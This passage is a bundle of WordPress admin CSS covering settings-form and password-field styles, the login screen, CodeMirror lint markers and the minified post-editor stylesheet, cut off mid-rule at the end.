	.form-table span.description {
		display: inline;
		padding: 4px 0 0;
		line-height: 1.4;
		font-size: 14px;
	}

	.form-table th {
		padding: 10px 0 0;
		border-bottom: 0;
	}

	.form-table td {
		margin-bottom: 0;
		padding: 4px 0 6px;
	}

	.form-table.permalink-structure td code {
		display: inline-block;
	}

	.form-table.permalink-structure .structure-selection {
		margin-top: 8px;
	}

	.form-table.permalink-structure .structure-selection .row > div {
		max-width: calc(100% - 36px);
		width: 100%;
	}

	.form-table.permalink-structure td input[type="text"] {
		margin-top: 4px;
	}

	.form-table input.regular-text {
		width: 100%;
	}

	.form-table label {
		font-size: 14px;
	}

	.form-table td > label:first-child {
		display: inline-block;
		margin-top: 0.35em;
	}

	.background-position-control .button-group > label {
		font-size: 0;
	}

	.form-table fieldset label {
		display: block;
	}

	.form-field #domain {
		max-width: none;
	}

	/* New Password */
	.wp-pwd {
		position: relative;
	}

	/* Needs higher specificity than normal input type text and password. */
	#profile-page .form-table #pass1 {
		padding-left: 90px;
	}

	.wp-pwd button.button {
		background: transparent;
		border: 1px solid transparent;
		box-shadow: none;
		line-height: 2;
		margin: 0;
		padding: 5px 9px;
		position: absolute;
		left: 0;
		top: 0;
		width: 2.375rem;
		height: 2.375rem;
		min-width: 40px;
		min-height: 40px;
	}

	.wp-pwd button.wp-hide-pw {
		left: 2.5rem;
	}

	body.user-new-php .wp-pwd button.wp-hide-pw {
		left: 0;
	}

	.wp-pwd button.button:hover,
	.wp-pwd button.button:focus {
		background: transparent;
	}

	.wp-pwd button.button:active {
		background: transparent;
		box-shadow: none;
		transform: none;
	}

	.wp-pwd .button .text {
		display: none;
	}

	.wp-pwd [type="text"],
	.wp-pwd [type="password"] {
		line-height: 2;
		padding-left: 5rem;
	}

	body.user-new-php .wp-pwd [type="text"],
	body.user-new-php .wp-pwd [type="password"] {
		padding-left: 2.5rem;
	}

	.wp-cancel-pw .dashicons-no {
		display: inline-block;
	}

	.mailserver-pass-wrap .wp-pwd {
		display: block;
	}

	/* rtl:ignore */
	#mailserver_pass {
		padding-left: 10px;
	}

	.options-general-php input[type="text"].small-text {
		max-width: 6.25em;
		margin: 0;
	}

	/* Privacy Policy settings screen */
	.tools-privacy-policy-page form.wp-create-privacy-page {
		margin-bottom: 1em;
	}

	.tools-privacy-policy-page input#set-page,
	.tools-privacy-policy-page select {
		margin: 10px 0 0;
	}

	.tools-privacy-policy-page .wp-create-privacy-page span {
		display: block;
		margin-bottom: 1em;
	}

	.tools-privacy-policy-page .wp-create-privacy-page .button {
		margin-right: 0;
	}

	.wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) td.column-primary:not(.check-column) {
		display: table-cell;
	}

	.wp-list-table.privacy_requests.widefat th input,
	.wp-list-table.privacy_requests.widefat thead td input {
		margin-right: 5px;
	}

	.wp-privacy-request-form-field input[type="text"] {
		width: 100%;
		margin-bottom: 10px;
		vertical-align: middle;
	}

	.regular-text {
		max-width: 100%;
	}
}

@media only screen and (max-width: 768px) {
	.form-field input[type="text"],
	.form-field input[type="email"],
	.form-field input[type="password"],
	.form-field select,
	.form-field textarea {
		width: 99%;
	}

	.form-wrap .form-field {
		padding: 0;
	}
}

@media only screen and (max-height: 480px), screen and (max-width: 450px) {
	/* Request Credentials / File Editor Warning */
	.request-filesystem-credentials-dialog .notification-dialog,
	.file-editor-warning .notification-dialog {
		width: 100%;
		height: 100%;
		max-height: 100%;
		position: fixed;
		top: 0;
		margin: 0;
		right: 0;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	/* Color Picker Options */
	.color-option {
		width: 49%;
	}
}

@media only screen and (max-width: 320px) {
	.options-general-php .date-time-text.date-time-custom-text {
		min-width: 0;
		margin-left: 0.5em;
	}
}

@keyframes rotation {
	0% {
		transform: rotate(0deg);
	}
	100% {
		transform: rotate(-359deg);
	}
}
html,
body {
	height: 100%;
	margin: 0;
	padding: 0;
}

body {
	background: #f0f0f1;
	min-width: 0;
	color: #3c434a;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 13px;
	line-height: 1.4;
}

a {
	color: #2271b1;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
}

a {
	outline: 0;
}

a:hover,
a:active {
	color: #135e96;
}

a:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

p {
	line-height: 1.5;
}

.login .message,
.login .notice,
.login .success {
	border-left: 4px solid #72aee6;
	padding: 12px;
	margin-left: 0;
	margin-bottom: 20px;
	background-color: #fff;
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
	word-wrap: break-word;
}

.login .success {
	border-left-color: #00a32a;
}

/* Match border color from common.css */
.login .notice-error {
	border-left-color: #d63638;
}

.login .login-error-list {
	list-style: none;
}

.login .login-error-list li + li {
	margin-top: 4px;
}

#loginform p.submit,
.login-action-lostpassword p.submit {
	border: none;
	margin: -10px 0 20px; /* May want to revisit this */
}

.login * {
	margin: 0;
	padding: 0;
}

.login .input::-ms-clear {
	display: none;
}

.login .pw-weak {
	margin-bottom: 15px;
}

.login .button.wp-hide-pw {
	background: transparent;
	border: 1px solid transparent;
	box-shadow: none;
	font-size: 14px;
	line-height: 2;
	width: 2.5rem;
	height: 2.5rem;
	min-width: 40px;
	min-height: 40px;
	margin: 0;
	padding: 5px 9px;
	position: absolute;
	right: 0;
	top: 0;
}

.login .button.wp-hide-pw:hover {
	background: transparent;
}

.login .button.wp-hide-pw:focus {
	background: transparent;
	border-color: #3582c4;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.login .button.wp-hide-pw:active {
	background: transparent;
	box-shadow: none;
	transform: none;
}

.login .button.wp-hide-pw .dashicons {
	width: 1.25rem;
	height: 1.25rem;
	top: 0.25rem;
}

.login .wp-pwd {
	position: relative;
}

.no-js .hide-if-no-js {
	display: none;
}

.login form {
	margin-top: 20px;
	margin-left: 0;
	padding: 26px 24px 34px;
	font-weight: 400;
	overflow: hidden;
	background: #fff;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.04);
}

.login form.shake {
	animation: shake 0.2s cubic-bezier(.19,.49,.38,.79) both;
	animation-iteration-count: 3;
	transform: translateX(0);
}

@keyframes shake {
	25% {
		transform: translateX(-20px);
	}
	75% {
		transform: translateX(20px);
	}
	100% {
		transform: translateX(0);
	}
}

@media (prefers-reduced-motion: reduce) {
	.login form.shake {
		animation: none;
		transform: none;
	}
}

.login-action-confirm_admin_email #login {
	width: 60vw;
	max-width: 650px;
	margin-top: -2vh;
}

@media screen and (max-width: 782px) {
	.login-action-confirm_admin_email #login {
		box-sizing: border-box;
		margin-top: 0;
		padding-left: 4vw;
		padding-right: 4vw;
		width: 100vw;
	}
}

.login form .forgetmenot {
	font-weight: 400;
	float: left;
	margin-bottom: 0;
}

.login .button-primary {
	float: right;
}

.login .reset-pass-submit {
	display: flex;
	flex-flow: row wrap;
	justify-content: space-between;
}

.login .reset-pass-submit .button {
	display: inline-block;
	float: none;
	margin-bottom: 6px;
}

.login .admin-email-confirm-form .submit {
	text-align: center;
}

.admin-email__later {
	text-align: left;
}

.login form p.admin-email__details {
	margin: 1.1em 0;
}

.login h1.admin-email__heading {
	border-bottom: 1px #f0f0f1 solid;
	color: #50575e;
	font-weight: normal;
	padding-bottom: 0.5em;
	text-align: left;
}

.admin-email__actions div {
	padding-top: 1.5em;
}

.login .admin-email__actions .button-primary {
	float: none;
	margin-left: 0.25em;
	margin-right: 0.25em;
}

#login form p {
	margin-bottom: 0;
}

#login form .indicator-hint,
#login #reg_passmail {
	margin-bottom: 16px;
}

#login form p.submit {
	margin: 0;
	padding: 0;
}

.login label {
	font-size: 14px;
	line-height: 1.5;
	display: inline-block;
	margin-bottom: 3px;
}

.login .forgetmenot label,
.login .pw-weak label {
	line-height: 1.5;
	vertical-align: baseline;
}

.login h1 {
	text-align: center;
}

.login h1 a {
	background-image: url(../images/w-logo-blue.png?ver=20131202);
	background-image: none, url(../images/wordpress-logo.svg?ver=20131107);
	background-size: 84px;
	background-position: center top;
	background-repeat: no-repeat;
	color: #3c434a;
	height: 84px;
	font-size: 20px;
	font-weight: 400;
	line-height: 1.3;
	margin: 0 auto 25px;
	padding: 0;
	text-decoration: none;
	width: 84px;
	text-indent: -9999px;
	outline: none;
	overflow: hidden;
	display: block;
}

#login {
	width: 320px;
	padding: 5% 0 0;
	margin: auto;
}

.login #nav,
.login #backtoblog {
	font-size: 13px;
	padding: 0 24px;
}

.login #nav {
	margin: 24px 0 0;
}

#backtoblog {
	margin: 16px 0;
	word-wrap: break-word;
}

.login #nav a,
.login #backtoblog a {
	text-decoration: none;
	color: #50575e;
}

.login #nav a:hover,
.login #backtoblog a:hover,
.login h1 a:hover {
	color: #135e96;
}

.login #nav a:focus,
.login #backtoblog a:focus,
.login h1 a:focus {
	color: #043959;
}

.login .privacy-policy-page-link {
	text-align: center;
	width: 100%;
	margin: 3em 0 2em;
}

.login form .input,
.login input[type="text"],
.login input[type="password"] {
	font-size: 24px;
	line-height: 1.33333333; /* 32px */
	width: 100%;
	border-width: 0.0625rem;
	padding: 0.1875rem 0.3125rem; /* 3px 5px */
	margin: 0 6px 16px 0;
	min-height: 40px;
	max-height: none;
}

.login input.password-input {
	font-family: Consolas, Monaco, monospace;
}

.js.login input.password-input {
	padding-right: 2.5rem;
}

.login form .input,
.login input[type="text"],
.login form input[type="checkbox"] {
	background: #fff;
}

.js.login-action-resetpass input[type="text"],
.js.login-action-resetpass input[type="password"],
.js.login-action-rp input[type="text"],
.js.login-action-rp input[type="password"] {
	margin-bottom: 0;
}

.login #pass-strength-result {
	font-weight: 600;
	margin: -1px 5px 16px 0;
	padding: 6px 5px;
	text-align: center;
	width: 100%;
}

body.interim-login {
	height: auto;
}

.interim-login #login {
	padding: 0;
	margin: 5px auto 20px;
}

.interim-login.login h1 a {
	width: auto;
}

.interim-login #login_error,
.interim-login.login .message {
	margin: 0 0 16px;
}

.interim-login.login form {
	margin: 0;
}

/* Hide visually but not from screen readers */
.screen-reader-text,
.screen-reader-text span {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
}

/* Hide the Edge "reveal password" native button */
input::-ms-reveal {
	display: none;
}

#language-switcher {
	padding: 0;
	overflow: visible;
	background: none;
	border: none;
	box-shadow: none;
}

#language-switcher select {
	margin-right: 0.25em;
}

.language-switcher {
	margin: 0 auto;
	padding: 0 0 24px;
	text-align: center;
}

.language-switcher label {
	margin-right: 0.25em;
}

.language-switcher label .dashicons {
	width: auto;
	height: auto;
}

.login .language-switcher .button {
	margin-bottom: 0;
}

@media screen and (max-height: 550px) {
	#login {
		padding: 20px 0;
	}

	#language-switcher {
		margin-top: 0;
	}
}


@media screen and (max-width: 782px) {
	.interim-login input[type=checkbox] {
		width: 1rem;
		height: 1rem;
	}

	.interim-login input[type=checkbox]:checked:before {
		width: 1.3125rem;
		height: 1.3125rem;
		margin: -0.1875rem 0 0 -0.25rem;
	}

	#language-switcher label,
	#language-switcher select {
		margin-right: 0;
	}
}

@media screen and (max-width: 400px) {
	.login .language-switcher .button {
		display: block;
		margin: 5px auto 0;
	}
}
/*! This file is auto-generated */
.wrap [class*="CodeMirror-lint-marker"],
.wp-core-ui [class*="CodeMirror-lint-message"],
.wrap .CodeMirror-lint-marker-multiple {
	background-image: none;
}

.wp-core-ui .CodeMirror-lint-marker-error,
.wp-core-ui .CodeMirror-lint-marker-warning {
	cursor: help;
}

.wrap .CodeMirror-lint-marker-multiple {
	position: absolute;
	top: 0;
}

.wrap [class*="CodeMirror-lint-marker"]:before {
	font: normal 18px/1 dashicons;
	position: relative;
	top: -2px;
}

.wp-core-ui [class*="CodeMirror-lint-message"]:before {
	font: normal 16px/1 dashicons;
	right: 16px;
	position: absolute;
}

.wp-core-ui .CodeMirror-lint-message-error,
.wp-core-ui .CodeMirror-lint-message-warning {
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
	margin: 5px 0 2px;
	padding: 3px 28px 3px 12px;
}

.wp-core-ui .CodeMirror-lint-message-warning {
	background-color: #fcf9e8;
	border-right: 4px solid #dba617;
}

.wrap .CodeMirror-lint-marker-warning:before,
.wp-core-ui .CodeMirror-lint-message-warning:before {
	content: "\f534";
	color: #dba617;
}

.wp-core-ui .CodeMirror-lint-message-error {
	background-color: #fcf0f1;
	border-right: 4px solid #d63638;
}

.wrap .CodeMirror-lint-marker-error:before,
.wp-core-ui .CodeMirror-lint-message-error:before {
	content: "\f153";
	color: #d63638;
}

.wp-core-ui .CodeMirror-lint-tooltip {
	background: none;
	border: none;
	border-radius: 0;
	direction: rtl;
}

.wrap .CodeMirror .CodeMirror-matchingbracket {
	background: rgba(219, 166, 23, 0.3);
	color: inherit;
}

.CodeMirror {
	text-align: right;
}

.wrap .CodeMirror .CodeMirror-linenumber {
	color: #646970;
}
/*! This file is auto-generated */
#poststuff{padding-top:10px;min-width:763px}#poststuff #post-body{padding:0}#poststuff .postbox-container{width:100%}#poststuff #post-body.columns-2{margin-right:300px}#show-comments{overflow:hidden}#save-action .spinner,#show-comments a{float:left}#show-comments .spinner{float:none;margin-top:0}#lost-connection-notice .spinner{visibility:visible;float:left;margin:0 5px 0 0}#titlediv{position:relative}#titlediv label{cursor:text}#titlediv div.inside{margin:0}#poststuff #titlewrap{border:0;padding:0}#titlediv #title{padding:3px 8px;font-size:1.7em;line-height:100%;height:1.7em;width:100%;outline:0;margin:0 0 3px;background-color:#fff}#titlediv #title-prompt-text{color:#646970;position:absolute;font-size:1.7em;padding:10px;pointer-events:none}input#link_description,input#link_url{width:100%}#pending{background:0 none;border:0 none;padding:0;font-size:11px;margin-top:-1px}#comment-link-box,#edit-slug-box{line-height:1.84615384;min-height:25px;margin-top:5px;padding:0 10px;color:#646970}#sample-permalink{display:inline-block;max-width:100%;word-wrap:break-word}#edit-slug-box .cancel{margin-right:10px;padding:0;font-size:11px}#comment-link-box{margin:5px 0;padding:0 5px}#editable-post-name-full{display:none}#editable-post-name{font-weight:600}#editable-post-name input{font-size:13px;font-weight:400;height:24px;margin:0;width:16em}.postarea h3 label{float:left}body.post-new-php .submitbox .submitdelete{display:none}.submitbox .submit a:hover{text-decoration:underline}.submitbox .submit input{margin-bottom:8px;margin-right:4px;padding:6px}#post-status-select{margin-top:3px}body.post-type-wp_navigation .inline-edit-status,body.post-type-wp_navigation div#minor-publishing{display:none}.is-dragging-metaboxes .metabox-holder .postbox-container .meta-box-sortables{outline:3px dashed #646970;display:flow-root;min-height:60px;margin-bottom:20px}.postbox{position:relative;min-width:255px;border:1px solid #c3c4c7;box-shadow:0 1px 1px rgba(0,0,0,.04);background:#fff}#trackback_url{width:99%}#normal-sortables .postbox .submit{background:transparent none;border:0 none;float:right;padding:0 12px;margin:0}.category-add input[type=text],.category-add select{width:100%;max-width:260px;vertical-align:baseline}#side-sortables .category-add input[type=text],#side-sortables .category-add select{margin:0 0 1em}#side-sortables .add-menu-item-tabs li,.wp-tab-bar li,ul.category-tabs li{display:inline;line-height:1.35}.no-js .category-tabs li.hide-if-no-js{display:none}#side-sortables .add-menu-item-tabs a,.category-tabs a,.wp-tab-bar a{text-decoration:none}#post-body ul.add-menu-item-tabs li.tabs a,#post-body ul.category-tabs li.tabs a,#side-sortables .add-menu-item-tabs .tabs a,#side-sortables .category-tabs .tabs a,.wp-tab-bar .wp-tab-active a{color:#2c3338}.category-tabs{margin:8px 0 5px}#category-adder h4{margin:0}.taxonomy-add-new{display:inline-block;margin:10px 0;font-weight:600}#side-sortables .add-menu-item-tabs,.wp-tab-bar{margin-bottom:3px}#normal-sortables .postbox #replyrow .submit{float:none;margin:0;padding:5px 7px 10px;overflow:hidden}#side-sortables .submitbox .submit .preview,#side-sortables .submitbox .submit a.preview:hover,#side-sortables .submitbox .submit input{border:0 none}ul.add-menu-item-tabs,ul.category-tabs,ul.wp-tab-bar{margin-top:12px}ul.add-menu-item-tabs li,ul.category-tabs li{border:solid 1px transparent;position:relative}.wp-tab-active,ul.add-menu-item-tabs li.tabs,ul.category-tabs li.tabs{border:1px solid #dcdcde;border-bottom-color:#fff;background-color:#fff}ul.add-menu-item-tabs li,ul.category-tabs li,ul.wp-tab-bar li{padding:3px 5px 6px}#set-post-thumbnail{display:inline-block;max-width:100%}#postimagediv .inside img{max-width:100%;height:auto;width:auto;vertical-align:top;background-image:linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:0 0,10px 10px;background-size:20px 20px}form#tags-filter{position:relative}.ui-tabs-hide,.wp-hidden-children .wp-hidden-child{display:none}#post-body .tagsdiv #newtag{margin-right:5px;width:16em}#side-sortables input#post_password{width:94%}#side-sortables .tagsdiv #newtag{width:68%}#post-status-info{width:100%;border-spacing:0;border:1px solid #c3c4c7;border-top:none;background-color:#f6f7f7;box-shadow:0 1px 1px rgba(0,0,0,.04);z-index:999}#post-status-info td{font-size:12px}.autosave-info{padding:2px 10px;text-align:right}#editorcontent #post-status-info{border:none}#content-resize-handle{background:transparent url(../images/resize.gif) no-repeat scroll right bottom;width:12px;cursor:row-resize}.rtl #content-resize-handle{background-image:url(../images/resize-rtl.gif);background-position:left bottom}.wp-editor-expand #content-resize-handle{display:none}#postdivrich #content{resize:none}#wp-word-count{padding:2px 10px}#wp-content-editor-container{position:relative}.wp-editor-expand #wp-content-editor-tools{z-index:1000;border-bottom:1px solid #c3c4c7}.wp-editor-expand #wp-content-editor-container{box-shadow:none;margin-top:-1px}.wp-editor-expand #wp-content-editor-container{border-bottom:0 none}.wp-editor-expand div.mce-statusbar{z-index:1}.wp-editor-expand #post-status-info{border-top:1px solid #c3c4c7}.wp-editor-expand div.mce-toolbar-grp{z-index:999}.mce-fullscreen #wp-content-wrap .mce-edit-area,.mce-fullscreen #wp-content-wrap .mce-menubar,.mce-fullscreen #wp-content-wrap .mce-statusbar,.mce-fullscreen #wp-content-wrap .mce-toolbar-grp{position:static!important;width:auto!important;padding:0!important}.mce-fullscreen #wp-content-wrap .mce-statusbar{visibility:visible!important}.mce-fullscreen #wp-content-wrap .mce-tinymce .mce-wp-dfw{display:none}.mce-fullscreen #wp-content-wrap .mce-wp-dfw,.post-php.mce-fullscreen #wpadminbar{display:none}#wp-content-editor-tools{background-color:#f0f0f1;padding-top:20px}#poststuff #post-body.columns-2 #side-sortables{width:280px}#timestampdiv select{vertical-align:top;font-size:12px;line-height:2.33333333}#aa,#hh,#jj,#mn{padding:6px 1px;font-size:12px;line-height:1.16666666}#hh,#jj,#mn{width:2em}#aa{width:3.4em}.curtime #timestamp{padding:2px 0 1px;display:inline!important;height:auto!important}#post-body #visibility:before,#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-response-to:before,#post-body .misc-pub-revisions:before,#post-body .misc-pub-uploadedby:before,#post-body .misc-pub-uploadedto:before,.curtime #timestamp:before{color:#8c8f94}#post-body #visibility:before,#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-response-to:before,#post-body .misc-pub-revisions:before,#post-body .misc-pub-uploadedby:before,#post-body .misc-pub-uploadedto:before,.curtime #timestamp:before{font:normal 20px/1 dashicons;speak:never;display:inline-block;margin-left:-1px;padding-right:3px;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before{content:"\f173"}#post-body #visibility:before{content:"\f177"}.curtime #timestamp:before{content:"\f145";position:relative;top:-1px}#post-body .misc-pub-uploadedby:before{content:"\f110";position:relative;top:-1px}#post-body .misc-pub-uploadedto:before{content:"\f318";position:relative;top:-1px}#post-body .misc-pub-revisions:before{content:"\f321"}#post-body .misc-pub-response-to:before{content:"\f101"}#timestampdiv{padding-top:5px;line-height:1.76923076}#timestampdiv p{margin:8px 0 6px}#timestampdiv input{text-align:center}.notification-dialog{position:fixed;top:30%;max-height:70%;left:50%;width:450px;margin-left:-225px;background:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);line-height:1.5;z-index:1000005;overflow-y:auto}.notification-dialog-background{position:fixed;top:0;left:0;right:0;bottom:0;background:#000;opacity:.7;z-index:1000000}#post-lock-dialog .post-locked-message,#post-lock-dialog .post-taken-over{margin:25px}#file-editor-warning .button,#post-lock-dialog .post-locked-message a.button{margin-right:10px}#post-lock-dialog .post-locked-avatar{float:left;margin:0 20px 20px 0}#post-lock-dialog .wp-tab-first{outline:0}#post-lock-dialog .locked-saving img{float:left;margin-right:3px}#post-lock-dialog.saved .locked-saved,#post-lock-dialog.saving .locked-saving{display:inline}#excerpt{display:block;margin:12px 0 0;height:4em;width:100%}.tagchecklist{margin-left:14px;font-size:12px;overflow:auto}.tagchecklist br{display:none}.tagchecklist strong{margin-left:-8px;position:absolute}.tagchecklist>li{float:left;margin-right:25px;font-size:13px;line-height:1.8;cursor:default;max-width:100%;overflow:hidden;text-overflow:ellipsis}.tagchecklist .ntdelbutton{position:absolute;width:24px;height:24px;border:none;margin:0 0 0 -19px;padding:0;background:0 0;cursor:pointer;text-indent:0}#poststuff .stuffbox>h3,#poststuff h2,#poststuff h3.hndle{font-size:14px;padding:8px 12px;margin:0;line-height:1.4}#poststuff .stuffbox h2{padding:8px 10px}#poststuff .stuffbox>h2{border-bottom:1px solid #f0f0f1}#poststuff .inside{margin:6px 0 0}.link-add-php #poststuff .inside,.link-php #poststuff .inside{margin-top:12px}#poststuff .stuffbox .inside{margin:0}#poststuff .inside #page_template,#poststuff .inside #parent_id{max-width:100%}.post-attributes-label-wrapper{margin-bottom:.5em}.post-attributes-label{vertical-align:baseline;font-weight:600}#comment-status-radio,#post-visibility-select{line-height:1.5;margin-top:3px}#linksubmitdiv .inside,#poststuff #submitdiv .inside{margin:0;padding:0}#post-body-content,.edit-form-section{margin-bottom:20px}.wp_attachment_details .attachment-content-description{margin-top:.5385em;display:inline-block;min-height:1.6923em}.privacy-settings #wpcontent,.privacy-settings.auto-fold #wpcontent,.site-health #wpcontent,.site-health.auto-fold #wpcontent{padding-left:0}.privacy-settings .notice,.site-health .notice{margin:25px 20px 15px 22px}.privacy-settings .notice~.notice,.site-health .notice~.notice{margin-top:5px}.health-check-header h1,.privacy-settings-header h1{display:inline-block;font-weight:600;margin:0 .8rem 1rem;font-size:23px;padding:9px 0 4px;line-height:1.3}.health-check-header,.privacy-settings-header{text-align:center;margin:0 0 1rem;background:#fff;border-bottom:1px solid #dcdcde}.health-check-title-section,.privacy-settings-title-section{display:flex;align-items:center;justify-content:center;clear:both;padding-top:8px}.privacy-settings-tabs-wrapper{display:-ms-inline-grid;-ms-grid-columns:1fr 1fr;vertical-align:top;display:inline-grid;grid-template-columns:1fr 1fr}.privacy-settings-tab{display:block;text-decoration:none;color:inherit;padding:.5rem 1rem 1rem;margin:0 1rem;transition:box-shadow .5s ease-in-out}.health-check-tab:first-child,.privacy-settings-tab:first-child{-ms-grid-column:1}.health-check-tab:nth-child(2),.privacy-settings-tab:nth-child(2){-ms-grid-column:2}.health-check-tab:focus,.privacy-settings-tab:focus{color:#1d2327;outline:1px solid #787c82;box-shadow:none}.health-check-tab.active,.privacy-settings-tab.active{box-shadow:inset 0 -3px #3582c4;font-weight:600}.health-check-body,.privacy-settings-body{max-width:800px;margin:0 auto}.tools-privacy-policy-page th{min-width:230px}.hr-separator{margin-top:20px;margin-bottom:15px}.health-check-accordion,.privacy-settings-accordion{border:1px solid #c3c4c7}.health-check-accordion-heading,.privacy-settings-accordion-heading{margin:0;border-top:1px solid #c3c4c7;font-size:inherit;line-height:inherit;font-weight:600;color:inherit}.health-check-accordion-heading:first-child,.privacy-settings-accordion-heading:first-child{border-top:none}.health-check-accordion-trigger,.privacy-settings-accordion-trigger{background:#fff;border:0;color:#2c3338;cursor:pointer;display:flex;font-weight:400;margin:0;padding:1em 3.5em 1em 1.5em;min-height:46px;position:relative;text-align:left;width:100%;align-items:center;justify-content:space-between;-webkit-user-select:auto;user-select:auto}.health-check-accordion-trigger:active,.health-check-accordion-trigger:hover,.privacy-settings-accordion-trigger:active,.privacy-settings-accordion-trigger:hover{background:#f6f7f7}.health-check-accordion-trigger:focus,.privacy-settings-accordion-trigger:focus{color:#1d2327;border:none;box-shadow:none;outline-offset:-1px;outline:2px solid #2271b1;background-color:#f6f7f7}.health-check-accordion-trigger .title,.privacy-settings-accordion-trigger .title{pointer-events:none;font-weight:600;flex-grow:1}.health-check-accordion-trigger .icon,.privacy-settings-accordion-trigger .icon,.privacy-settings-view-read .icon,.site-health-view-passed .icon{border:solid #50575e;border-width:0 2px 2px 0;height:.5rem;pointer-events:none;position:absolute;right:1.5em;top:50%;transform:translateY(-70%) rotate(45deg);width:.5rem}.health-check-accordion-trigger .badge,.privacy-settings-accordion-trigger .badge{padding:.1rem .5rem .15rem;color:#2c3338;font-weight:600}.privacy-settings-accordion-trigger .badge{margin-left:.5rem}.health-check-accordion-trigger .badge.blue,.privacy-settings-accordion-trigger .badge.blue{border:1px solid #72aee6}.health-check-accordion-trigger .badge.orange,.privacy-settings-accordion-trigger .badge.orange{border:1px solid #dba617}.health-check-accordion-trigger .badge.red,.privacy-settings-accordion-trigger .badge.red{border:1px solid #e65054}.health-check-accordion-trigger .badge.green,.privacy-settings-accordion-trigger .badge.green{border:1px solid #00ba37}.health-check-accordion-trigger .badge.purple,.privacy-settings-accordion-trigger .badge.purple{border:1px solid #2271b1}.health-check-accordion-trigger .badge.gray,.privacy-settings-accordion-trigger .badge.gray{border:1px solid #c3c4c7}.health-check-accordion-trigger[aria-expanded=true] .icon,.privacy-settings-accordion-trigger[aria-expanded=true] .icon,.privacy-settings-view-passed[aria-expanded=true] .icon,.site-health-view-passed[aria-expanded=true] .icon{transform:translateY(-30%) rotate(-135deg)}.health-check-accordion-panel,.privacy-settings-accordion-panel{margin:0;padding:1em 1.5em;background:#fff}.health-check-accordion-panel[hidden],.privacy-settings-accordion-panel[hidden]{display:none}.health-check-accordion-panel a .dashicons,.privacy-settings-accordion-panel a .dashicons{text-decoration:none}.privacy-settings-accordion-actions{text-align:right;display:block}.privacy-settings-accordion-actions .success{display:none;color:#007017;padding-right:1em;padding-top:6px}.privacy-settings-accordion-actions .success.visible{display:inline-block}.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-policy-tutorial,.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-text-copy,.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .wp-policy-help{display:none}.privacy-settings-accordion-panel strong.privacy-policy-tutorial,.privacy-settings-accordion-panel strong.wp-policy-help{display:block;margin:0 0 1em}.privacy-text-copy span{pointer-events:none}.privacy-settings-accordion-panel .wp-suggested-text div>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel .wp-suggested-text>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel div>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p){margin:0;padding:1em;border-left:2px solid #787c82}@media screen and (max-width:782px){.health-check-body,.privacy-settings-body{margin:0 12px;width:auto}.privacy-settings .notice,.site-health .notice{margin:5px 10px 15px}.privacy-settings .update-nag,.site-health .update-nag{margin-right:10px;margin-left:10px}input#create-page{margin-top:10px}.wp-core-ui button.privacy-text-copy{white-space:normal;line-height:1.8}}@media only screen and (max-width:1004px){.health-check-body,.privacy-settings-body{margin:0 22px;width:auto}}#postcustomstuff thead th{padding:5px 8px 8px;background-color:#f0f0f1}#postcustom #postcustomstuff .submit{border:0 none;float:none;padding:0 8px 8px}#postcustom #postcustomstuff .add-custom-field{padding:12px 8px 8px}#side-sortables #postcustom #postcustomstuff .submit{margin:0;padding:0}#side-sortables #postcustom #postcustomstuff #the-list textarea{height:85px}#side-sortables #postcustom #postcustomstuff td.left input,#side-sortables #postcustom #postcustomstuff td.left select,#side-sortables #postcustomstuff #newmetaleft a{margin:3px 3px 0}#postcustomstuff table{margin:0;width:100%;border:1px solid #dcdcde;border-spacing:0;background-color:#f6f7f7}#postcustomstuff tr{vertical-align:top}#postcustomstuff table input,#postcustomstuff table select,#postcustomstuff table textarea{width:96%;margin:8px}#side-sortables #postcustomstuff table input,#side-sortables #postcustomstuff table select,#side-sortables #postcustomstuff table textarea{margin:3px}#postcustomstuff td.left,#postcustomstuff th.left{width:38%}#postcustomstuff .submit input{margin:0;width:auto}#postcustomstuff #newmeta-button,#postcustomstuff #newmetaleft a{display:inline-block;margin:0 8px 8px;text-decoration:none}.no-js #postcustomstuff #enternew{display:none}#post-body-content .compat-attachment-fields{margin-bottom:20px}.compat-attachment-fields 